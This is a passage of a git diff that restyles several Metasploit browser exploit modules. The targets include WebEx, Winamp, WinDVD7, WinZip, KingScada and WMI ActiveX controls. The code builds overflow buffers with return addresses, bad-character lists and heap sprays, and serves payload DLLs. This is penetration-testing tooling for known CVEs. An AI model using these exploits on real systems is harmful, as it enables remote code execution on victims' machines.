initialize(info = {}) - super(update_info(info, - 'Name' => 'WebDAV Application DLL Hijacker', - 'Description' => %q{ - This module presents a directory of file extensions that can lead to - code execution when opened from the share. The default EXTENSIONS option - must be configured to specify a vulnerable application type. - }, - 'Author' => - [ - 'hdm', # Module itself + super( + update_info( + info, + 'Name' => 'WebDAV Application DLL Hijacker', + 'Description' => %q{ + This module presents a directory of file extensions that can lead to + code execution when opened from the share. The default EXTENSIONS option + must be configured to specify a vulnerable application type. + }, + 'Author' => [ + 'hdm', # Module itself 'jduck', # WebDAV implementation 'jcran', # Exploit vectors ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'], ['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { + 'Payload' => { 'Space' => 2048, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ] + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ] ], - 'DisclosureDate' => '2010-08-18', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-08-18', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ - OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), - OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]), - OptString.new( 'BASENAME', [ true, "The base name for the listed files.", "policy" ]), - OptString.new( 'SHARENAME', [ true, "The name of the top-level share.", "documents" ]), - OptString.new( 'EXTENSIONS', [ true, "The list of extensions to generate", "txt" ]) - ]) + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]), + OptString.new('BASENAME', [ true, "The base name for the listed files.", "policy" ]), + OptString.new('SHARENAME', [ true, "The name of the top-level share.", "documents" ]), + OptString.new('EXTENSIONS', [ true, "The list of extensions to generate", "txt" ]) + ] + ) deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL end - def on_request_uri(cli, request) - case request.method when 'OPTIONS' process_options(cli, request) @@ -79,9 +82,7 @@ def on_request_uri(cli, request) end end - def process_get(cli, request) - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" @@ -96,13 +97,14 @@ def process_get(cli, request) if (request.uri =~ /\.(dll|dl|drv|cpl)$/i) print_status("GET => DLL Payload") return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_dll({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Treat index.html specially - if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) + if (request.uri[-1, 1] == "/" or request.uri =~ /index\.html?$/i) print_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") @@ -126,14 +128,14 @@ def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', - 'DASL' => '', - 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', - 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', + 'DASL' => '', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") - headers.each_pair {|k,v| resp[k] = v } + headers.each_pair { |k, v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) @@ -147,8 +149,8 @@ def process_propfind(cli, request) print_status("PROPFIND #{path}") body = '' - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - my_uri = "http://#{my_host}/" + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" if path !~ /\/$/ @@ -170,7 +172,7 @@ def process_propfind(cli, request) #{gen_datestamp} -#{rand(0x100000)+128000} +#{rand(0x100000) + 128000} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T @@ -263,7 +265,7 @@ def process_propfind(cli, request) def generate_shares(path) share_name = datastore['SHARENAME'] -%Q| + %Q| #{path}#{share_name}/ @@ -295,8 +297,8 @@ def generate_files(path) trail = path.split("/") return "" if trail.length < 2 - base = datastore['BASENAME'] - exts = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/) + base = datastore['BASENAME'] + exts = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/) files = "" exts.each do |ext| files << %Q| @@ -306,7 +308,7 @@ def generate_files(path) #{gen_datestamp} -#{rand(0x10000)+120} +#{rand(0x10000) + 120} #{gen_timestamp} "#{"%.16x" % rand(0x100000000)}" T @@ -332,11 +334,11 @@ def generate_files(path) files end - def gen_timestamp(ttype=nil) + def gen_timestamp(ttype = nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end - def gen_datestamp(ttype=nil) + def gen_datestamp(ttype = nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end @@ -348,14 +350,14 @@ def blacklisted_path?(uri) return true if uri =~ /lib.*\.dll/i return true if uri =~ /\.tmp$/i return true if uri =~ /(pcap|packet)\.dll/i + false end def exploit - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] - @exploit_unc = "\\\\#{myhost}\\" + @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index 3ad21aed26258..07c38f93cc3c2 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -10,33 +10,33 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow', + 'Description' => %q{ This module exploits a stack-based buffer overflow in WebEx's WebexUCFObject - ActiveX Control. If a long string is passed to the 'NewObject' method, a stack- - based buffer overflow will occur when copying attacker-supplied data using the - sprintf function. - - It is noteworthy that this vulnerability was discovered and reported by multiple - independent researchers. To quote iDefense's advisory, "Before this issue was - publicly reported, at least three independent security researchers had knowledge - of this issue; thus, it is reasonable to believe that even more people were aware - of this issue before disclosure." - - NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload - into memory unmodified. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Tobias Klein', # initial discoverer + ActiveX Control. If a long string is passed to the 'NewObject' method, a stack- + based buffer overflow will occur when copying attacker-supplied data using the + sprintf function. + + It is noteworthy that this vulnerability was discovered and reported by multiple + independent researchers. To quote iDefense's advisory, "Before this issue was + publicly reported, at least three independent security researchers had knowledge + of this issue; thus, it is reasonable to believe that even more people were aware + of this issue before disclosure." + + NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload + into memory unmodified. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Tobias Klein', # initial discoverer 'Elazar Broad', # initial discoverer 'Guido Landi', # milw0rm exploit 'jduck' # metasploit version ], - 'References' => - [ + 'References' => [ [ 'CVE', '2008-3558' ], [ 'OSVDB', '47344' ], [ 'BID', '30578' ], @@ -47,25 +47,29 @@ def initialize(info = {}) [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2008-08/0084.html' ], [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a00809e2006.shtml' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, + 'Payload' => { + 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Tested with atucfobj.dll v20.2008.2601.4928 [ 'Windows Universal', { 'Ret' => 0x0c0c0c0c } ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2008-08-06')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2008-08-06', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -77,13 +81,12 @@ def check_dependencies end def on_request_uri(cli, request) - # ActiveX parameters progid = "WebexUCFObject.WebexUCFObject" clsid = "32E26FD9-F435-4A20-A561-35D4B987CFDC" # Set parameters - fnname = rand_text_alpha(8+rand(8)) + fnname = rand_text_alpha(8 + rand(8)) offset = 232 # Build the exploit buffer @@ -117,7 +120,7 @@ def on_request_uri(cli, request) opts = { 'Strings' => true, 'Symbols' => { - 'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit } + 'Variables' => %w{obj my_unescape shellcode arg1 arg2 sploit} } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) @@ -141,6 +144,5 @@ def on_request_uri(cli, request) send_response_html(cli, content) handler(cli) - end end diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index 91fa248aa5c17..39e4fbea9dcf5 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -10,38 +10,36 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution', - 'Description' => %q{ - This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. - The ProjectURL property can be abused to download and load arbitrary DLLs from - arbitrary locations, leading to arbitrary code execution, because of a dangerous - usage of LoadLibrary. Due to the nature of the vulnerability, this module will work - only when Protected Mode is not present or not enabled. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Andrea Micalizzi', # aka rgod original discovery - 'juan vazquez' # Metasploit module + super( + update_info( + info, + 'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution', + 'Description' => %q{ + This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. + The ProjectURL property can be abused to download and load arbitrary DLLs from + arbitrary locations, leading to arbitrary code execution, because of a dangerous + usage of LoadLibrary. Due to the nature of the vulnerability, this module will work + only when Protected Mode is not present or not enabled. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Andrea Micalizzi', # aka rgod original discovery + 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2013-2827'], ['OSVDB', '102135'], ['BID', '64941'], ['ZDI', '14-011'], ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS, - :ua_name => /MSIE|KXCLIE/i, + 'BrowserRequirements' => { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => /MSIE|KXCLIE/i, :activex => [ { clsid: '{1A90B808-6EEF-40FF-A94C-D7C43C847A9F}', @@ -49,19 +47,24 @@ def initialize(info = {}) } ], }, - 'Payload' => - { - 'Space' => 2048, + 'Payload' => { + 'Space' => 2048, 'StackAdjustment' => -3500, - 'DisableNopes' => true + 'DisableNopes' => true }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ] + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2014-01-14')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2014-01-14', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_exploit(cli, request, target_info) @@ -70,9 +73,8 @@ def on_request_exploit(cli, request, target_info) if request.uri =~ /\/libs\/.*\.dll/ print_good("Sending DLL payload") send_response(cli, - generate_payload_dll(:code => get_payload(cli, target_info)), - 'Content-Type' => 'application/octet-stream' - ) + generate_payload_dll(:code => get_payload(cli, target_info)), + 'Content-Type' => 'application/octet-stream') return elsif request.uri =~ /\/libs\// print_status("Sending not found") @@ -80,14 +82,14 @@ def on_request_exploit(cli, request, target_info) return end - content = <<-EOS - - - - - - - + content = <<~EOS + + + + + + + EOS print_status("Sending #{self.name}") diff --git a/modules/exploits/windows/browser/winamp_playlist_unc.rb b/modules/exploits/windows/browser/winamp_playlist_unc.rb index abeb95061ae9e..f86f2641b849d 100644 --- a/modules/exploits/windows/browser/winamp_playlist_unc.rb +++ b/modules/exploits/windows/browser/winamp_playlist_unc.rb @@ -12,39 +12,37 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Winamp Playlist UNC Path Computer Name Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Winamp Playlist UNC Path Computer Name Overflow', + 'Description' => %q{ This module exploits a vulnerability in the Winamp media player. - This flaw is triggered when an audio file path is specified, inside a - playlist, that consists of a UNC path with a long computer name. This - module delivers the playlist via the browser. This module has only - been successfully tested on Winamp 5.11 and 5.12. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + This flaw is triggered when an audio file path is specified, inside a + playlist, that consists of a UNC path with a long computer name. This + module delivers the playlist via the browser. This module has only + been successfully tested on Winamp 5.11 and 5.12. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'hdm', 'Faithless ' ], - 'References' => - [ + 'References' => [ ['CVE', '2006-0476'], ['OSVDB', '22789'], ['BID', '16410'], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 526, + 'Payload' => { + 'Space' => 526, 'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20", - 'Compat' => - { - 'ConnectionType' => '-find', - }, + 'Compat' => + { + 'ConnectionType' => '-find', + }, # Landing on \x5c\x5c trashes esp, restore from ecx 'PrependEncoder' => "\x87\xe1", @@ -54,32 +52,38 @@ module delivers the playlist via the browser. This module has only 'DisableNops' => true, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00 [ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }], ], - 'DisclosureDate' => '2006-01-29', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2006-01-29', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_evasion_options( [ OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', false]) - ]) + ] + ) end def on_request_uri(cli, request) - if (not request.uri.match(/\.pls$/i)) - if ("/" == get_resource[-1,1]) + if ("/" == get_resource[-1, 1]) pls_uri = get_resource[0, get_resource.length - 1] else pls_uri = get_resource end - pls_uri << "/" + rand_text_alphanumeric(rand(80)+16) + ".pls" + pls_uri << "/" + rand_text_alphanumeric(rand(80) + 16) + ".pls" html = - ""+ + "" + "" + "One second please..." @@ -100,25 +104,24 @@ def on_request_uri(cli, request) end def generate_playlist(payload) - - pcnt = rand(10)+10; + pcnt = rand(10) + 10; file = rand_text_english(1026) - file[1022 , 4] = [target.ret].pack('V') + file[1022, 4] = [target.ret].pack('V') file[0, payload.encoded.length] = payload.encoded play = - "[playlist]\r\n" + - generate_songs(pcnt) + - generate_song(pcnt + 1, "\\\\#{file}") + - generate_line('NumberOfEntries', "#{pcnt+1}") + - generate_line('Version', '2') + "[playlist]\r\n" + + generate_songs(pcnt) + + generate_song(pcnt + 1, "\\\\#{file}") + + generate_line('NumberOfEntries', "#{pcnt + 1}") + + generate_line('Version', '2') return play end def generate_space if datastore['PlaylistSpaceInjection'] - return rand_text(rand(100)+1, nil, " \t") + return rand_text(rand(100) + 1, nil, " \t") else return '' end @@ -126,8 +129,8 @@ def generate_space def generate_song(id, file) return generate_line("File#{id}", file) + - generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) + - generate_line("Length#{id}", "%x" % (rand(1024) + 30)) + generate_line("Title#{id}", rand_text_alphanumeric(rand(64) + 1)) + + generate_line("Length#{id}", "%x" % (rand(1024) + 30)) end def generate_line(key, value) @@ -137,7 +140,7 @@ def generate_line(key, value) def generate_songs(cnt) songs = '' 1.upto(cnt) do |i| - songs << generate_song(i, rand_text_alphanumeric(rand(64)+1)) + songs << generate_song(i, rand_text_alphanumeric(rand(64) + 1)) end return songs end diff --git a/modules/exploits/windows/browser/winamp_ultravox.rb b/modules/exploits/windows/browser/winamp_ultravox.rb index dc8651e29d9f0..f8449c8891eee 100644 --- a/modules/exploits/windows/browser/winamp_ultravox.rb +++ b/modules/exploits/windows/browser/winamp_ultravox.rb @@ -9,46 +9,52 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::TcpServer def initialize(info = {}) - super(update_info(info, - 'Name' => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Winamp Ultravox Streaming Metadata (in_mp3.dll) Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Winamp 5.24. By - sending an overly long artist tag, a remote attacker may - be able to execute arbitrary code. This vulnerability can be - exploited from the browser or the Winamp client itself. - }, - 'Author' => 'MC', - 'License' => MSF_LICENSE, - 'References' => - [ + sending an overly long artist tag, a remote attacker may + be able to execute arbitrary code. This vulnerability can be + exploited from the browser or the Winamp client itself. + }, + 'Author' => 'MC', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-0065' ], [ 'OSVDB', '41707' ], [ 'BID', '27344' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 700, + 'Payload' => { + 'Space' => 700, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Winamp 5.24', { 'Ret' => 0x15010d3e } ], ], - 'Privileged' => false, - 'DisclosureDate' => '2008-01-18', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2008-01-18', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptPort.new('SRVPORT', [ true, "The HTTP daemon port to listen on.", 8080 ]) - ]) + ] + ) end def on_client_connect(client) @@ -56,19 +62,19 @@ def on_client_connect(client) res = client.get_once - content = "\x00\x01\x00\x01\x00\x01" + "" + content = "\x00\x01\x00\x01\x00\x01" + "" content << make_nops(3828 - payload.encoded.length) + payload.encoded content << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V') content << [0xe8, -850].pack('CV') + rand_text_alpha_upper(1183) content << "" - sploit = "\x5a\x00\x39\x01" + [content.length].pack('n') + sploit = "\x5a\x00\x39\x01" + [content.length].pack('n') sploit << content + "\x00" # randomize some stuff. - num = rand(65535).to_s + num = rand(65535).to_s - header = "HTTP/1.0 200 OK\r\n" + header = "HTTP/1.0 200 OK\r\n" header << "Server: Ultravox 3.0\r\n" header << "Content-Type: misc/ultravox\r\n" header << "Ultravox-SID: #{num}\r\n" @@ -89,7 +95,6 @@ def on_client_connect(client) end end - =begin HTTP/1.0 200 .Server: Ultravo diff --git a/modules/exploits/windows/browser/windvd7_applicationtype.rb b/modules/exploits/windows/browser/windvd7_applicationtype.rb index cb257edfd49e2..e23aee69ae4a1 100644 --- a/modules/exploits/windows/browser/windvd7_applicationtype.rb +++ b/modules/exploits/windows/browser/windvd7_applicationtype.rb @@ -10,41 +10,46 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX - control in InterVideo WinDVD 7. By sending an overly long string - to the "ApplicationType()" property, an attacker may be able to - execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + control in InterVideo WinDVD 7. By sending an overly long string + to the "ApplicationType()" property, an attacker may be able to + execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2007-0348' ], [ 'OSVDB', '34315' ], [ 'BID', '23071' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 800, - 'BadChars' => "\x00\x09\x0a\x0d'\\", + 'Payload' => { + 'Space' => 800, + 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], - 'DisclosureDate' => '2007-03-20', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-03-20', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) diff --git a/modules/exploits/windows/browser/winzip_fileview.rb b/modules/exploits/windows/browser/winzip_fileview.rb index 5ee7f195eb142..062397aa30a2a 100644 --- a/modules/exploits/windows/browser/winzip_fileview.rb +++ b/modules/exploits/windows/browser/winzip_fileview.rb @@ -8,50 +8,55 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::IE, # :javascript => true, # :os_name => OperatingSystems::Match::WINDOWS, # :classid => '{A09AE68F-B14D-43ED-B713-BA413F034904}', # :method => 'CreateNewFolderFromName', # :rank => NormalRanking # reliable memory corruption - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow', + 'Description' => %q{ The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a - remote attacker to execute arbitrary code on the system. The control contains - several unsafe methods and is marked safe for scripting and safe for initialization. - A remote attacker could exploit this vulnerability to execute arbitrary code on the - victim system. WinZip 10.0 <= Build 6667 are vulnerable. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], - 'References' => - [ - [ 'CVE','2006-5198' ], + remote attacker to execute arbitrary code on the system. The control contains + several unsafe methods and is marked safe for scripting and safe for initialization. + A remote attacker could exploit this vulnerability to execute arbitrary code on the + victim system. WinZip 10.0 <= Build 6667 are vulnerable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'dean ' ], + 'References' => [ + [ 'CVE', '2006-5198' ], [ 'OSVDB', '30433' ], - [ 'BID','21060' ], + [ 'BID', '21060' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ] ], - 'DisclosureDate' => '2007-11-02', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-11-02', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -70,20 +75,20 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. - ret = Rex::Text.uri_encode([target.ret].pack('L')) + ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) - boom = rand_text_alpha(rand(100) + 1) + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) + boom = rand_text_alpha(rand(100) + 1) content = %Q| diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index 2b1375fab9d06..29c956a7bf253 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -7,39 +7,39 @@ class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML - #include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn # - #autopwn_info({ + # autopwn_info({ # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :rank => NormalRanking, # :vuln_test => nil, - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft WMI Administration Tools ActiveX Buffer Overflow', + 'Description' => %q{ This module exploits a memory trust issue in the Microsoft WMI - Administration tools ActiveX control. When processing a specially crafted - HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat - the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods - as a trusted pointer. It makes an indirect call via this pointer which leads - to arbitrary code execution. - - This exploit utilizes a combination of heap spraying and the - .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not - opt-in to ASLR. As such, this module should be reliable on all Windows - versions. - - The WMI Administrative Tools are a standalone download & install (linked in the - references). - - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'WooYun', 'MC', 'jduck' ], - 'References' => - [ + Administration tools ActiveX control. When processing a specially crafted + HTML page, the WEBSingleView.ocx ActiveX Control (1.50.1131.0) will treat + the 'lCtxHandle' parameter to the 'AddContextRef' and 'ReleaseContext' methods + as a trusted pointer. It makes an indirect call via this pointer which leads + to arbitrary code execution. + + This exploit utilizes a combination of heap spraying and the + .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not + opt-in to ASLR. As such, this module should be reliable on all Windows + versions. + + The WMI Administrative Tools are a standalone download & install (linked in the + references). + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'WooYun', 'MC', 'jduck' ], + 'References' => [ [ 'OSVDB', '69942'], [ 'CVE', '2010-3973' ], [ 'BID', '45546' ], @@ -47,26 +47,30 @@ def 